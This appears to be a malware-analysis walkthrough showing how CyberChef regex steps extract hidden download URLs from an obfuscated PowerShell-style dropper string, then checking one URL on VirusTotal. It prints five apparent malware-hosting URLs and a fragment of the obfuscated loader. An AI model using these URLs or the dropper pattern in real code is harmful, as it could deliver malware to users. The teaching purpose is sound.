☐ Case insensitive

☒ Multiline matching

☐ Dot matches all

Extract URLs

☐ Display total

☐ Sort

☐ Unique

STEP

BAKE!

Auto Bake

Input

od mC 58 9i Pa OT B7 5M TC 65 AS a4 NT CR yh 86 BO
VQ}In}B0{Pxxkics3tZmaKscQz}zs}08ke5aXZeTkr4rbtB;rSwyXd8yRdu\$I7 vwsdCs9qe7pc xonurzFPJX-
OxtBZrHeaCLtMSc0;N6)6LwldrTRa2\$4N(00eymluLimMfZnoJAtXxeLjvFpaeKsy.ayp9KvvQsk5\$4;Qp)VoyCddFEow
fBawecZs1anAroq2pgKSHwEbMroX.ljYw3Iebu1u\$LP(8ce)kthsiuQrxCwuV.P5pEfvueSF9\$VJ;8c1rZ I3=Yz
qHeCFpBtywetFv.F3p3ZvWwSk\$16;D1)5v(MnnUseStpAvo5K.HIpnzv5msHC\$0g(qj Cx)CS0p001J2sn VwqlNevi-DI
Lts5yuP2tWxa 4toQ5JL.CpYAQIsEurk\$X7(v5 yvf9wIFM;UF)lJ(
IdghNqxeB5siI.kuYi1IhSuGy\$Cm;IR)bl0dc,bjvahXk0PnI\$am,ad'METHNENJgPw'tX(1GnobexFp9zogx.cOyYRIIhuSp
\$G0(yAyHCr3TTax(Dv)0YfubQoUiBe\$cg 09ni0iVa
5fvm4XKMPHJ\$E5(oqhygcvpavBeAQrNPoUkffh;IF'tzmWVaFRemErGwtecsUe.GzbAldu4o56dC3aF'Z9 9kmNfO5rc3T-
ih SXthQckKeHiJxobwVObt-SbwN7eGSNJG mb=ha JZp1qv4ysXP\$Vz;PF'6GpUnthKtNwH71Pjmrwx4
.DV2Rq10wm2jxjVsOpmDx'vb nCmc1o3zcP4-mw ULTI4c52eSvjBmbWfod7-f2wLiev3NrT=bs
giYMNiQ2ukW\$3G;DR)lS'BjeXZxbZea3.OGwtEUajzrV\sv'jR+Rv)US(E hxCt2Wa7aPBzpaUmAOeVUTE
t6aewiGKM;bc:ki]DPHjftR0anvPQq.3c03FIRg.8BmiMe8wttkshoyhVSKC[jX(t=4nw9pd2KRVY\$G ;es)
P'Q@aX'Qw(aQTPi7dlb7pa5Ss5.4t'3KgZVHMLiE4aUAD49ibjf0j/ERmdmoZTcQe.eLGRJb3Ymwir1jaKf6geDR.fVach
fVach

1641 1

Raw Bytes LF

Output

http://mahimamedia.com/Yxdw87t@http://mandujano.net/NWJ6@http://www.creativeagency.biz/Sa0BVM@http
://www.brgsabz.com/sq@http://biogas-bulgaria.efarmbg.com/fidaiHg'.Split('@');\$Rdw=(

181 1

438ms Raw Bytes LF

Remove most repeated one which is @ here

Recipe

☐ Dot matches all ☐ Unicode support

☐ Astral support ☐ Display total Output format: List capture qr...

Find / Replace

Find: REGEX

☒ Global match ☐ Case insensitive

☒ Multiline matching ☐ Dot matches all

Extract URLs

☐ Display total ☐ Sort ☐ Unique

Split

Split delimiter: Join delimiter:

STEP ☒ Auto Bake

Input

```
od mC 58 9i Pa OT B7 5M TC 65 AS a4 NT CR yh 86 B0
VQ}In}B0{PxhkicsJtZmaKscQz}zs}08ke5aXZeTkr4rbtB;rSwyXd8yRdu$17 vwsdCs9qe7pc xonurzFPJX-
OxtBZrHeaCLtsMSC0;N6)6LwLdrTRa2$4N(00eymluLimMfZnoJAtXxel.jvFpaekSyr.aYp9KvvQsk5$V4;Qp)VoyCddFEow
fBaweCZs1anAroqZpgKshWebMroX.ljYw3Iebu1u$LP(8ceJkthsIUQrXCwuV.P5pEfVuuEsF9$VJ;8c1rZ I3=Yz
qHeCFpBtyWetfV.F3p3ZvwWsk$16;D1)5v(MnnUSestpAvo5k.HIPnzv5msHC$0g{qj Cx)CS0p001J2sn VwqlNevi-DI
Lts5yuP2twXa 4toQ5JL.CpYAQiSeurK$5x7(v5 yVf9wIFM;UF)lJ(
IdghnQxeB5s1I.kuY11IhSugy$CM;iR)bl0dc,bjvaHXk0PnI$am,aD'METHNENjGPw'tX(lGnobexFp9zoxg.cOYyRIIhuSp
$G0{yAYHCr3TTax(Dv)0YFubQouIbe$cg 09ni0iva
5fvm4XKMPHJ$E5(oqhygcvpavBeAQRNPouKffh;IF'tzmWVaFremErGwtcsUe.Gzba1du4o56dC3aF7'Z9 9kNmFo5rc3T-
ih SXthQcKkeHijxobwVobt-SbwN7eGSNJG mb-hA JZplqv4ysXP$Vz;Pf'6GpUntHktNmHg71Pjmrwx4
.DV2Rq1Owm2jxjvOpmdX'vb nCmc1o3zcP4-mw ULtI4c52eSvjBmbWfod7-f2wLiev3NrT=bs
giYMIq2uKw$3G;DR)1S'BjeXzbZea3.OGwtEUajzrV\sv'jR+Rv)U5(E hxCt2wa7aPBzpaUmAOevUTE
t6aewiGkM:bc:ki]DPhJftR0anvP0q.3c03FIRg.8BmiMe8wttsHoyhVSKc[jX( t=4nw9pd2KRvY$G ;es)
P'QW@aX'Ow(aQtTPi7dlb7pa5Ss5.4t'3KgZVHMLiE4aUAD49ibjfoj/ERmdmo2TcQe.eLgrJb3Ymwir1jaMKf6geDR.fVach
```

Output

```
http://mahimamedia.com/Yxdw87t
http://mandujano.net/NWJ6
http://www.creativeagency.biz/Sa0BVm
http://www.brgsabz.com/sq
http://biogas-bulgaria.efarmbg.com/fiDaiHg'.Split(
');$Rdw=(
```

Check those links in Virus total to check which malicious activity is there inside with the respective link

For example paste 1st link of output in <https://www.virustotal.com/gui/home/url>

← → ↻ 🔍 virustotal.com/gui/home/url

Intelligence Hunting Graph API

VIRUSTOTAL

Analyse suspicious files, domains, IPs and URLs to detect malware and other breaches, automatically share them with the security community.

FILE URL SEARCH

By submitting data above, you are agreeing to our [Terms of Service](#) and [Privacy Policy](#), and to the **sharing of your URL submission with the security community**. Please do not submit any personal information; VirusTotal is not responsible for the contents of your submission. [Learn more](#).

Want to automate submissions? Check our [API](#), or access your [API key](#).

Just load it you can see what are the malicious activity inside the link

4

77

Community Score

4 security vendors flagged this URL as malicious

http://mahimamedia.com/YxdW87t

200
Status

application/octet-stream
Content Type

2020-04-07 02:12:44 UTC
3 years ago

DETECTION

DETAILS

COMMUNITY

Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Security vendors' analysis

Do you want to automate checks?

Avira	Malware	Fortinet	Malware
SCUMWARE.org	Malware	Sophos	Malicious
Comodo Valkyrie Verdict	Spam	DNS8	Suspicious
Forcepoint ThreatSeeker	Suspicious	ADMINUSLabs	Clean
AlienVault	Clean	Antiy-AVL	Clean
Artists Against 419	Clean	BADWARE.INFO	Clean

Like that you check remaining links also

This is the way where attacker hides malicious activity inside inside the payload